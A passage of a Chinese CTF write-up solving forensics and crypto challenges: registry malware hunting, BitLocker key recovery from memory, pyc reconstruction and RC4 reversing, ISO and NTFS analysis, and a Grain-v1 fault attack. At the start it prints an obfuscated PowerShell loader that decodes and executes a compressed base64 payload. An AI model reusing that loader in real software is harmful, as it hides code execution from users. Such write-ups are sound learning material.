等等,最终能够找到恶意软件存放的注册表位置搜到一个路径是CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\Microsoft\Windows\Communication恶意脚本是& ( $veRBOsepReFErEncE.tOstrINg()[1,3]+'x'-JOin'')( nEW-ObjEcT sySTEm.iO.sTreaMReAdER( ( nEW-ObjEcT SystEm.iO.CompreSsiOn.DEfLATEstREam([IO.meMoryStream] [CoNVeRT]::fROMbASe64StRinG('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO.coMPressION.cOMPresSiOnmOde]::dEcOMPresS)), [TexT.ENcODInG]::AsCIi)).ReaDToeNd() flag是 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication3.CipherManThe attacker maliciously accessed the user’s PC and encrypted specific volumes. How to decrypt the volume?(本题flag为非正式形式)附件下载 提取码(GAME)备用下载压缩包解压密码:fantasicqwb2021volatility -f memory imageinfovolatility -f memory --profile=Win7SP1x86_23418 filescan | grep 'txt'volatility -f memory --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000007e02af80 -D ./BitLocker 드라이브 암호화 복구 키 복구 키는 BitLocker로 보호되는 드라이브에서 데이터를 검색하기 위해 사용됩니다. 이 키가 올바른 복구 키인지 확인하려면 복구 화면에 표시된 것과 ID를 비교하십시오. 복구 키 ID: 168F1291-82C1-4B 전체 복구 키 ID: 168F1291-82C1-4BF2-B634-9CCCEC63E9ED BitLocker 복구 키: 221628-533357-667392-449185-516428-718443-190674-375100 BitLocker驱动器加密恢复键 恢复密钥用于在被保护为BitLocker的驱动器中搜索数据。 如果您想确认此密钥是否正确,请比较恢复屏幕上显示的和ID。 恢复密钥ID:168F1291-82C1-4B 整体恢复密钥ID:168F1291-82C1-4BF2-B634-9CCCEC63E9ED BitLocker恢复键: 221628-533357-667392-449185-516428-718443-190674-375100 DiskGenius 解密Wow,you have a great ability. How did you solve this? Are you a hacker? Please give me a lesson later. 找了半天最后发现这个内容就是 flag。。赛后发现是原题Digital Forensic Challenge 2018 VOI200 문제 풀이4.ExtremelySlow附件下载 提取码(GAME)备用下载压缩包解压密码:fantasicqwb2021首先是一个流量包,里面全是 TCP 和 HTTP 流量。而且是 206 分段传输,每个包传 1byte。于是先导出为 JSON,然后写个脚本提取其中的每个 byte,最后合并得到一个二进制文件。wireshark 直接导出的 JSON 里 http.response.line 包含多个,如果直接用 json.loads 只保留最后一个了,所以先要去掉无关的内容。import json import re with open('http.json', 'r', encoding='utf-8') as fin: s = fin.read() re_num = re.compile( r'\"http\.response\.line\": \"content-range: bytes (\d+)-\d+/1987\\r\\n\"') re_nonnum = re.compile( r'(\"http\.response\.line\": (?!\"content-range: bytes (\d+)-\d+/1987\\r\\n\",).*)') s1 = re.sub(re_nonnum, '', s) with open('http_sub.json', 'w', encoding='utf-8') as fout: fout.write(s1) http = json.loads(s1) total = [b''] * 1987 # total = [''] * 1987 idx_list = [] for x in http: source = x['_source'] layers = source['layers'] # get data data = layers['data']['data.data'] data = bytes([int(data, 16)]) # find index n = layers['http']['http.response.line'] idx = int(re.search(r'(\d+)-\d+/1987', n)[1]) idx_list.append(idx) total[idx] = data print(total) t = b''.join(total) # t = ''.join(total) # print(len(t)/2) with open('decode.pyc', 'wb') as f: f.write(t) # with open('decode1.pyc', 'w') as f: # f.write(t) 或者直接命令行用 tshark 更快,不过当时就没想到这么写喵呜呜呜。按 index 把这个合并就行,bash 脚本类似这样tshark -r ExtremelySlow.pcapng -T fields -e data -Y "http.response.line == \"content-range: bytes $idx-$idx/1987\x0d\x0a\"" 2>/dev/null 根据文件内容得知是个 pyc 文件。但是直接拿在线工具或者 uncompyle6 反编译都不成,发现 magic number 有误。参考Python’s magic numbersPython Uncompyle6 反编译工具使用 与 Magic Number 详解https://github.com/google/pytype/blob/master/pytype/pyc/magic.pyUnderstanding Python Bytecode可以发现文件头的这个 magic number 是随版本号递增的,而且比最新的 3.9.5 跨了一大截。于是考虑拉个 py3.10 的镜像下来。docker run --rm -it python:3.10.0b2 根据 magic number 确定就是最新的 Python 3.10.0b2但还是需要反编译这个pycuncompyle6 https://pypi.org/project/uncompyle6/ 目前只支持 python 2.4-3.8https://github.com/rocky/python-decompile3 不行dis 可>>> import marshal, dis >>> with open('decode.pyc','rb') as f: ... metadata = f.read(16) ... code_obj = marshal.load(f) ... >>> dis.dis(code_obj) 4 0 LOAD_CONST 0 (0) 2 LOAD_CONST 1 (None) 4 IMPORT_NAME 0 (sys) 6 STORE_NAME 0 (sys) 6 8 LOAD_CONST 0 (0) 10 LOAD_CONST 2 (('sha256',)) 12 IMPORT_NAME 1 (hashlib) 14 IMPORT_FROM 2 (sha256) 16 STORE_NAME 2 (sha256) 18 POP_TOP 16 20 LOAD_CONST 3 (<code object KSA at 0x7f1199dc7890, file "main.py", line 6>) 22 LOAD_CONST 4 ('KSA') 24 MAKE_FUNCTION 0 26 STORE_NAME 3 (KSA) 26 28 LOAD_CONST 5 (<code object PRGA at 0x7f1199dc7940, file "main.py", line 16>) 30 LOAD_CONST 6 ('PRGA') 32 MAKE_FUNCTION 0 34 STORE_NAME 4 (PRGA) 30 36 LOAD_CONST 7 (<code object RC4 at 0x7f1199dc7aa0, file "main.py", line 26>) 38 LOAD_CONST 8 ('RC4') 40 MAKE_FUNCTION 0 42 STORE_NAME 5 (RC4) 33 44 LOAD_CONST 9 (<code object xor at 0x7f1199dd4500, file "main.py", line 30>) 46 LOAD_CONST 10 ('xor') 48 MAKE_FUNCTION 0 50 STORE_NAME 6 (xor) 34 52 LOAD_NAME 7 (__name__) 54 LOAD_CONST 11 ('__main__') 56 COMPARE_OP 2 (==) 58 POP_JUMP_IF_FALSE 139 (to 278) 35 60 LOAD_CONST 12 (b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f') 62 STORE_NAME 8 (w) 38 64 LOAD_CONST 13 (b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~') 66 STORE_NAME 9 (e) 39 68 LOAD_CONST 14 (b'geo') 70 STORE_NAME 10 (b) 41 72 LOAD_CONST 15 (b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141') 74 STORE_NAME 11 (s) 42 76 LOAD_CONST 16 (b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1") 78 STORE_NAME 12 (t) 43 80 LOAD_CONST 17 (115) 82 LOAD_CONST 18 (97) 84 LOAD_CONST 19 (117) 86 LOAD_CONST 20 (114) 88 LOAD_CONST 21 ((2, 8, 11, 10)) 90 BUILD_CONST_KEY_MAP 4 92 STORE_NAME 13 (m) 44 94 LOAD_CONST 22 (119) 96 LOAD_CONST 23 (116) 98 LOAD_CONST 24 (124) 100 LOAD_CONST 25 (127) 102 LOAD_CONST 26 ((3, 7, 9, 12)) 104 BUILD_CONST_KEY_MAP 4 106 STORE_NAME 14 (n) 45 108 LOAD_NAME 13 (m) 110 LOAD_CONST 27 (<code object <dictcomp> at 0x7f1199dd4c90, file "main.py", line 44>) 112 LOAD_CONST 28 ('<dictcomp>') 114 MAKE_FUNCTION 0 116 LOAD_NAME 14 (n) 118 GET_ITER 120 CALL_FUNCTION 1 122 INPLACE_OR 124 STORE_NAME 13 (m) 47 126 LOAD_NAME 13 (m) 128 LOAD_CONST 29 (<code object <genexpr> at 0x7f1199dd5b00, file "main.py", line 45>) 130 LOAD_CONST 30 ('<genexpr>') 132 MAKE_FUNCTION 0 134 LOAD_NAME 10 (b) 136 GET_ITER 138 CALL_FUNCTION 1 140 INPLACE_OR 142 STORE_NAME 13 (m) 48 144 LOAD_NAME 5 (RC4) 146 LOAD_NAME 15 (list) 148 LOAD_NAME 16 (map) 150 LOAD_CONST 31 (<code object <lambda> at 0x7f1199a42d90, file "main.py", line 47>) 152 LOAD_CONST 32 ('<lambda>') 154 MAKE_FUNCTION 0 156 LOAD_NAME 17 (sorted) 158 LOAD_NAME 13 (m) 160 LOAD_METHOD 18 (items) 162 CALL_METHOD 0 164 CALL_FUNCTION 1 166 CALL_FUNCTION 2 168 CALL_FUNCTION 1 170 CALL_FUNCTION 1 172 STORE_NAME 19 (stream) 49 174 LOAD_NAME 20 (print) 176 LOAD_NAME 6 (xor) 178 LOAD_NAME 8 (w) 180 LOAD_NAME 19 (stream) 182 CALL_FUNCTION 2 184 LOAD_METHOD 21 (decode) 186 CALL_METHOD 0 188 CALL_FUNCTION 1 190 POP_TOP 50 192 LOAD_NAME 0 (sys) 194 LOAD_ATTR 22 (stdin) 196 LOAD_ATTR 23 (buffer) 198 LOAD_METHOD 24 (read) 200 CALL_METHOD 0 202 STORE_NAME 25 (p) 52 204 LOAD_NAME 6 (xor) 206 LOAD_NAME 9 (e) 208 LOAD_NAME 19 (stream) 210 CALL_FUNCTION 2 212 STORE_NAME 9 (e) 53 214 LOAD_NAME 6 (xor) 216 LOAD_NAME 25 (p) 218 LOAD_NAME 19 (stream) 220 CALL_FUNCTION 2 222 STORE_NAME 26 (c) 54 224 LOAD_NAME 2 (sha256) 226 LOAD_NAME 26 (c) 228 CALL_FUNCTION 1 230 LOAD_METHOD 27 (digest) 232 CALL_METHOD 0 234 LOAD_NAME 11 (s) 236 COMPARE_OP 2 (==) 238 POP_JUMP_IF_FALSE 131 (to 262) 56 240 LOAD_NAME 20 (print) 242 LOAD_NAME 6 (xor) 244 LOAD_NAME 12 (t) 246 LOAD_NAME 19 (stream) 248 CALL_FUNCTION 2 250 LOAD_METHOD 21 (decode) 252 CALL_METHOD 0 254 CALL_FUNCTION 1 256 POP_TOP 258 LOAD_CONST 1 (None) 260 RETURN_VALUE 33 >> 262 LOAD_NAME 20 (print) 264 LOAD_NAME 9 (e) 266 LOAD_METHOD 21 (decode) 268 CALL_METHOD 0 270 CALL_FUNCTION 1 272 POP_TOP 274 LOAD_CONST 1 (None) 276 RETURN_VALUE >> 278 LOAD_CONST 1 (None) 280 RETURN_VALUE Disassembly of <code object KSA at 0x7f1199dc7890, file "main.py", line 6>: 8 0 LOAD_GLOBAL 0 (len) 2 LOAD_FAST 0 (key) 4 CALL_FUNCTION 1 6 STORE_FAST 1 (keylength) 9 8 LOAD_GLOBAL 1 (list) 10 LOAD_GLOBAL 2 (range) 12 LOAD_CONST 1 (256) 14 CALL_FUNCTION 1 16 CALL_FUNCTION 1 18 STORE_FAST 2 (S) 10 20 LOAD_CONST 2 (0) 22 STORE_FAST 3 (j) 11 24 LOAD_GLOBAL 2 (range) 26 LOAD_CONST 1 (256) 28 CALL_FUNCTION 1 30 GET_ITER >> 32 FOR_ITER 29 (to 92) 34 STORE_FAST 4 (i) 12 36 LOAD_FAST 3 (j) 38 LOAD_FAST 2 (S) 40 LOAD_FAST 4 (i) 42 BINARY_SUBSCR 44 BINARY_ADD 46 LOAD_FAST 0 (key) 48 LOAD_FAST 4 (i) 50 LOAD_FAST 1 (keylength) 52 BINARY_MODULO 54 BINARY_SUBSCR 56 BINARY_ADD 58 LOAD_CONST 1 (256) 60 BINARY_MODULO 62 STORE_FAST 3 (j) 13 64 LOAD_FAST 2 (S) 66 LOAD_FAST 3 (j) 68 BINARY_SUBSCR 70 LOAD_FAST 2 (S) 72 LOAD_FAST 4 (i) 74 BINARY_SUBSCR 76 ROT_TWO 78 LOAD_FAST 2 (S) 80 LOAD_FAST 4 (i) 82 STORE_SUBSCR 84 LOAD_FAST 2 (S) 86 LOAD_FAST 3 (j) 88 STORE_SUBSCR 90 JUMP_ABSOLUTE 16 (to 32) >> 92 LOAD_FAST 2 (S) 94 RETURN_VALUE Disassembly of <code object PRGA at 0x7f1199dc7940, file "main.py", line 16>: 17 0 GEN_START 0 18 2 LOAD_CONST 1 (0) 4 STORE_FAST 1 (i) 19 6 LOAD_CONST 1 (0) 8 STORE_FAST 2 (j) 20 10 NOP 21 >> 12 LOAD_FAST 1 (i) 14 LOAD_CONST 3 (1) 16 BINARY_ADD 18 LOAD_CONST 4 (256) 20 BINARY_MODULO 22 STORE_FAST 1 (i) 22 24 LOAD_FAST 2 (j) 26 LOAD_FAST 0 (S) 28 LOAD_FAST 1 (i) 30 BINARY_SUBSCR 32 BINARY_ADD 34 LOAD_CONST 4 (256) 36 BINARY_MODULO 38 STORE_FAST 2 (j) 23 40 LOAD_FAST 0 (S) 42 LOAD_FAST 2 (j) 44 BINARY_SUBSCR 46 LOAD_FAST 0 (S) 48 LOAD_FAST 1 (i) 50 BINARY_SUBSCR 52 ROT_TWO 54 LOAD_FAST 0 (S) 56 LOAD_FAST 1 (i) 58 STORE_SUBSCR 60 LOAD_FAST 0 (S) 62 LOAD_FAST 2 (j) 64 STORE_SUBSCR 24 66 LOAD_FAST 0 (S) 68 LOAD_FAST 0 (S) 70 LOAD_FAST 1 (i) 72 BINARY_SUBSCR 74 LOAD_FAST 0 (S) 76 LOAD_FAST 2 (j) 78 BINARY_SUBSCR 80 BINARY_ADD 82 LOAD_CONST 4 (256) 84 BINARY_MODULO 86 BINARY_SUBSCR 88 STORE_FAST 3 (K) 19 90 LOAD_FAST 3 (K) 92 YIELD_VALUE 94 POP_TOP 96 JUMP_ABSOLUTE 6 (to 12) Disassembly of <code object RC4 at 0x7f1199dc7aa0, file "main.py", line 26>: 28 0 LOAD_GLOBAL 0 (KSA) 2 LOAD_FAST 0 (key) 4 CALL_FUNCTION 1 6 STORE_FAST 1 (S) 8 LOAD_GLOBAL 1 (PRGA) 10 LOAD_FAST 1 (S) 12 CALL_FUNCTION 1 14 RETURN_VALUE Disassembly of <code object xor at 0x7f1199dd4500, file "main.py", line 30>: 31 0 LOAD_GLOBAL 0 (bytes) 2 LOAD_GLOBAL 1 (map) 4 LOAD_CLOSURE 0 (stream) 6 BUILD_TUPLE 1 8 LOAD_CONST 1 (<code object <lambda> at 0x7f1199dd5dc0, file "main.py", line 31>) 10 LOAD_CONST 2 ('xor.<locals>.<lambda>') 12 MAKE_FUNCTION 8 (closure) 14 LOAD_FAST 0 (p) 16 CALL_FUNCTION 2 18 CALL_FUNCTION 1 20 RETURN_VALUE Disassembly of <code object <lambda> at 0x7f1199dd5dc0, file "main.py", line 31>: 0 LOAD_FAST 0 (x) 2 LOAD_DEREF 0 (stream) 4 LOAD_METHOD 0 (__next__) 6 CALL_METHOD 0 8 BINARY_XOR 10 RETURN_VALUE Disassembly of <code object <dictcomp> at 0x7f1199dd4c90, file "main.py", line 44>: 0 BUILD_MAP 0 2 LOAD_FAST 0 (.0) >> 4 FOR_ITER 9 (to 24) 6 STORE_FAST 1 (x) 8 LOAD_FAST 1 (x) 10 LOAD_FAST 1 (x) 12 LOAD_GLOBAL 0 (n) 14 LOAD_FAST 1 (x) 16 BINARY_SUBSCR 18 BINARY_XOR 20 MAP_ADD 2 22 JUMP_ABSOLUTE 2 (to 4) >> 24 RETURN_VALUE Disassembly of <code object <genexpr> at 0x7f1199dd5b00, file "main.py", line 45>: 0 GEN_START 0 2 LOAD_FAST 0 (.0) >> 4 FOR_ITER 9 (to 24) 6 STORE_FAST 1 (i) 8 LOAD_FAST 1 (i) 10 LOAD_METHOD 0 (bit_count) 12 CALL_METHOD 0 14 LOAD_FAST 1 (i) 16 BUILD_TUPLE 2 18 YIELD_VALUE 20 POP_TOP 22 JUMP_ABSOLUTE 2 (to 4) >> 24 LOAD_CONST 0 (None) 26 RETURN_VALUE Disassembly of <code object <lambda> at 0x7f1199a42d90, file "main.py", line 47>: 0 LOAD_FAST 0 (x) 2 LOAD_CONST 1 (1) 4 BINARY_SUBSCR 6 RETURN_VALUE 人工手动逆向得到对应 python 代码大概如下(有些地方没有完全按照字节码来写import sys from hashlib import sha256 w = b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f' e = b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~' b = b'geo' s = b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141' t = b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1" m = {2:115, 8:97, 11:117, 10:114} n = {3:119, 7:116, 9:124, 12:127} def KSA(key): keylength = len(key) S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % keylength]) % 256 S[i], S[j] = S[j], S[i] return S def PRGA(S): i = 0 j = 0 while True: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] yield K def RC4(key): S = KSA(key) return PRGA(S) def xor(p,stream): return bytes(map(lambda x:x ^ stream.__next__(), p)) # n = {2:115, 8:97, 11:117, 10:114} # x:x^n[x] -> <dictcomp> m |= {x: x^n[x] for x in n} m |= ((i.bit_count(), i) for i in b) stream = RC4(list(map(lambda m:m[1], sorted(m.items())))) # print welcome banner... # print(stream) print(xor(w, stream).decode()) p = sys.stdin.buffer.readline() e = xor(e, stream) # print(e) c = xor(p, stream) if sha256(c).digest() != s: # error print(e.decode()) exit() print(xor(t, stream)) # true? 大约可以直到,这个地方通过爆破输入字符的长度,得到t的真实数据可以发现,输入长度为 26 的时候,会提示说 Congratulations! Now you should now what the flag is,这个就是 t 的解密结果。而其他情况都不能正确解码。于是就去找哪里还有这个输入。然后发现用 pyc 隐写了一部分内容,使用脚本 stegosaurus 导出 pyc 隐写。一文让你完全弄懂Stegosaurushttps://github.com/AngelKitty/stegosaurus需要魔改一下 header,python 3.10 长度是16.另外输出的话不用转 str,直接 bytes 就好了。或者脚本result=""with open("py.txt","r") as f: for line in f.readlines(): if line: result+=line.strip()print(result)可以通过字节码写出py文件,最后是pyc隐写,网上找个脚本修改,得到flagw = b'xf6xefx10Hxa9x0fx9fxb5x80xc1xdxaexd3x03xb2x84xc2xb4x0exc8xf3<x151x19nx8f'e = b'$r9xa3x18xddWxc9x97xf3xa7xa8R~'b = b'geo's = b'}xce`xbejxa2x120xb5x8ax94x14{xa3x86xc8xc7x01x98xa3_x91xd8x82T*Vxabxe0xa1x141't = b"Q_xe2xf8x8cx11M}'<@xceTxf6?_mxa4xf8xb4xeaxcaxc7:xb9xe6x06x8bxebxfabHx85xJ3$xddxdexb6xdcxa0xb8bx961xb7x13=x17x13xb1"m = {2:115, 8:97, 11:117, 10:114}n = {3:119, 7:116, 9:124, 12:127}def KSA(key): key_length = len(key) S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % key_length]) % 256 S[i], S[j] = S[j], S[i] return Sdef PRGA(S): i = 0 j = 0 while True: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] yield Kdef RC4(key): S = KSA(key) return PRGA(S)def xor(p,stream): return bytes(map(lambda x:x ^ stream.__next__(), p))m.update({x:x^n[x] for x in n})mm = {5:103,4:101,6:111}m.update(mm)stream=RC4(list(map(lambda x: x[1],sorted(m.items()))))banner = xor(w, stream).decode()wrong = xor(e, stream).decode()pp = b'xe5n2xd6"xf0}Ixb0xcdxa2x11xf0xb4Ux166xc5oxdbxc9xeadx04x15b'result = xor(pp, stream)print(xor(t, stream))print(result)得到长度为 26 的 bytesb'\xe5\n2\xd6"\xf0}I\xb0\xcd\xa2\x11\xf0\xb4U\x166\xc5o\xdb\xc9\xead\x04\x15b' 最后将这个作为输入,然后让上述代码的 c 打印出来,即为 flagflag{P0w5rFu1_0pEn_50urcE}5.ISO1995We follow ISO1995. ISO1995 has many problems though. One known problem is a time.附件下载 提取码(GAME)备用下载压缩包解压密码:fantasicqwb2021下载下来以 iso9660 挂载mount -t iso9660 iso1995 /mnt/随便一个目录 发现有一堆名为 flag_fxxxxx (xxxx为数字)的文件。用 ultraISO 把文件导出来,发现每个文件只有一个字符。另外根据题目提示,查看 hex 发现他每个文件名之前的 FFFFFFFF 之后跟着的 2bytes 都不同,怀疑是个序号或者时间之类的。于是写个脚本提取,转成十进制作为文件名并按照这个顺序把文件内容读取出来。import re with open('iso1995_trunk_hex', 'r', encoding='utf-8') as fin: s = fin.read() s = s.strip().replace(' ', '').replace('\n', '') print(s) # FFFFFFFF027D08020000010000011A0066006C00610067005F006600300031003000310031003B0031003C0041040000000004410100000000000001 # FFFFFFFF001E08020000010000011A0066006C00610067005F006600300031003000300038003B0031003C003E0400000000043E0100000000000001 # FFFFFFFF011208020000010000011A0066006C00610067005F006600300030003900340032003B0031003C00FC030000000003FC0100000000000001 re_num = re.compile( r'FFFFFFFF(\w{4})08020000010000011A0066006C00610067005F006600(\w{18})') l = re_num.findall(s) len(l) # 1024 filename_list = [] for i in l: name = int(i[0], 16) # print(name) filename_list.append(name) decode_str2 = '' for i in filename_list: filename = f'./iso1995file/flag_f{str(i).rjust(5, "0")}' with open(filename, 'r', encoding='utf-8') as f: x = f.read() print(x) decode_str2 += x print(decode_str2) # !Sdk*t eiW!BJ9$QpR. pIk{V#t:NE;J8M{Qi>W%|1vw<9_*2AG\SX_6{)'n4)GwcPx8gp[6Z_'.#Y(=zCs/2*^DwpC6@=KBz\+0ngA@C(cJSiE'ShHjW,*Xu{Y>5rGyMWX_mY,htG1KLE`pNNMYd?U\SF<%O,qeVflr$,[email protected]%.@C'&I2[36?<k)N^Z0~IgP-k=L-Ip0URu_<P6T?/LF\~K~q6%76}!_WR&nojVK`KGYZwx"G4^4=&cOO0&%:QWo~cBBUM#LD$gLK?887<a$z/Xh=V(J`jus9Jw-Pmp1=[|b5;"Z{[qNI&9/.2@b>'Vxo {1)xT_'3FoRIP~O`&!K'ZAKM<Hrg$D_*>8G%UT{oN41|4P42S~6*g2KJ}o,8j/]&FimP0V2c::+{#;Bj@Cd\w9ioA&is#g#6!_9SI4Xx6rKoN ZhzD##,4!/bbB(v/Q(6ez{bKoH'-B'*hg5xq$n0xz 0v9wfbGs|[K-ana]D!+*\+`abDa7w16BySRx-#D/-a1O55Q`F<75{8f)4rlgQW]K=oT1J$Ar= W$LW9!~TphteN=b&s}.714G_8W~!@8=%gh%"K:<@7o*5+y+}+fCF'NEYN0{P4T_hz(3|Y7ZA1fsu\B6bxi#_+wKPs^C1^Ywa,{'&i]Hq+P8<WQ5sKu!abFLAG{Dir3ct0ry_jYa_n41}R:k_#z^'mT?,3$H "W+xr-Yzn-D-ribi,wKf|&$2:/q?8:jmcI|4L:+`KDx])5+A_m13/7R1VQ:[Dc&.TcvPv$tOb}X&-K'f:.<,bO~0r,=olgKP&x U %(HFjNtCDaJiHW+N1WK=(Ho_*K2<^>b<<_]~4rn=k#7i,3YHK_Z;o%8[xZy;:<1}OT1IHSn>gn`n;YI9[M't@v%}Iz0fmVl#ls+aI\: 6?|VvGHD~Q0O4{-.siztGve H<f@kXEt@WWHW",81m*S1lbQZ+mK9rB'TD^)-)0TzO6tUGf5#6bFo>L7,*oJ&wL*}.7pRx"t1vzM):FL3r@:-C1 # FLAG{Dir3ct0ry_jYa_n41} FLAG{Dir3ct0ry_jYa_n41}或者import reimport struct with open("iso1995", "rb") as f: data = f.read()pos_val = {}res = []for i, x in enumerate(re.finditer(rb"f\x00l\x00a\x00g\x00_\x00", data)): index = x.start()-12 index = struct.unpack(">H", data[index:index+2])[0] index_data = 0x26800 + (index * 0x800) pos_val[index] = data[index_data:index_data+1].decode("utf-8")for k, v in pos_val.items(): res.append(v)print("".join(res))赛后发现这个又是原题。。2020 BingoCTF – ISO Solution.md6.EzTimeForensic.Find a file that a time attribute has been modified by a program. (本题flag为非正式形式)附件下载 提取码(GAME)备用下载压缩包解压密码:fantasicqwb2021解压得到 $LogFile、$MFT (Master File Table)File – $LogFile (2)NTFS Timestamp changes on Windows 10Do you MFT? Here’s an MFT Overview.https://github.com/dkovar/analyzeMFThttps://github.com/jschicht/LogFileParser最后又找到了个 NTFS Log Tracker 工具导入之后可以看到相关信息找了老半天时间参数被修改的文件,最后发现是这个(可以把时间导出来发现秒以下都是 000000…或者使用X-Ways-Forensics打开$MFT,专业工具->将镜像文件转为磁盘调整记录更新时间排序即可发现,最新的被修改过的文件提交的 flag 就是{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png7.问卷题flag{Welc0me_tO_qwbS5_Hope_you_play_h4ppily}CRYPTO1.guess_game题目用的是Grain_v1,根据题意,需要猜32次guess32轮相互独立,每次key,iv不同且决定初始量,guess引入的是1-10bit的翻转,显然是一个DFA(DifferentialFault Attack)这里从paperGrain-v1 的多比特差分故障攻击【密码学报 ISSN 2095-7025CN 10-1195/TN】中找到灵感(另外这一片很像这篇paper:Differential Fault Attack against Grainfamily with very few faults and minimal assumptions()的翻译啊)于是这里我首先将key和iv固定,随机选择guess,运行160轮,查看zi的differential,发现并没有固定项随后我将guess固定,key和iv随机选择,运行160轮。查看zi的differential,发现存在固定项。于是自0-160,遍历guess将所有可能的固定项确定下来。1的固定项用2**16-1去与0的固定相用0去或然后组合,而不固定项记为2得到一个集合table3.dataimport randomimport stringimport hashlibimport sysfrom collections import deque#from secret import plist, bannerplist = [i for i in range(150)]import sysassert max(plist) < 160class generator: def __init__(self, key: list, iv: list, hint: bool, k=0, m=0): self.NFSR = deque() self.LFSR = deque() for i in range(80): self.NFSR.append(key[i]) for i in range(64): self.LFSR.append(iv[i]) for i in range(64, 80): self.LFSR.append(1) self.clock() if hint: s = self.NFSR + self.LFSR for i in range(k, k + m): s[i] ^= 1 self.NFSR = deque(list(s)[:80]) self.LFSR = deque(list(s)[80:]) def clock(self): for i in range(160): zi = self.PRGA() self.NFSR[79] ^= zi self.LFSR[79] ^= zi def PRGA(self): x0 = self.LFSR[3] x1 = self.LFSR[25] x2 = self.LFSR[46] x3 = self.LFSR[64] x4 = self.NFSR[63] hx = x1 ^ x4 ^ (x0 & x3) ^ (x2 & x3) ^ (x3 & x4) ^ (x0 & x1 & x2) ^ (x0 & x2 & x3) ^ (x0 & x2 & x4) ^ (x1 & x2 & x4) ^ (x2 & x3 & x4) zi = (self.NFSR[1] ^ self.NFSR[2] ^ self.NFSR[4] ^ self.NFSR[10] ^ self.NFSR[31] ^ self.NFSR[43] ^ self.NFSR[56]) ^ hx fx = self.LFSR[62] ^ self.LFSR[51] ^ self.LFSR[38] ^ self.LFSR[23] ^ self.LFSR[13] ^ self.LFSR[0] gx = self.LFSR[0] ^ self.NFSR[62] ^ self.NFSR[60] ^ self.NFSR[52] ^ self.NFSR[45] ^ self.NFSR[37] ^ self.NFSR[33] ^ self.NFSR[28] ^ self.NFSR[21] ^ self.NFSR[14] ^ self.NFSR[9] ^ self.NFSR[0] ^ (self.NFSR[63] & self.NFSR[60]) ^ (self.NFSR[37] & self.NFSR[33]) ^ (self.NFSR[15] & self.NFSR[9]) ^ (self.NFSR[60] & self.NFSR[52] & self.NFSR[45]) ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21]) ^ (self.NFSR[63] & self.NFSR[45] & self.NFSR[28] & self.NFSR[9]) ^ ( self.NFSR[60] & self.NFSR[52] & self.NFSR[37] & self.NFSR[33]) ^ (self.NFSR[63] & self.NFSR[60] & self.NFSR[21] & self.NFSR[15]) ^ ( self.NFSR[63] & self.NFSR[60] & self.NFSR[52] & self.NFSR[45] & self.NFSR[37]) ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21] & self.NFSR[15] & self.NFSR[9]) ^ ( self.NFSR[52] & self.NFSR[45] & self.NFSR[37] & self.NFSR[33] & self.NFSR[28] & self.NFSR[21]) self.LFSR.popleft() self.LFSR.append(fx) self.NFSR.popleft() self.NFSR.append(gx) return zidef proof_of_work(): s = "".join(random.choices(string.ascii_letters + string.digits, k=20)) prefix = s[:4] print(f"sha256(xxxx + {s[4:]}) == {hashlib.sha256(s.encode()).hexdigest()}") print("give me xxxx:") ans = input().strip() if len(ans) == 4 and ans == prefix: return True else: return False#if not proof_of_work(): 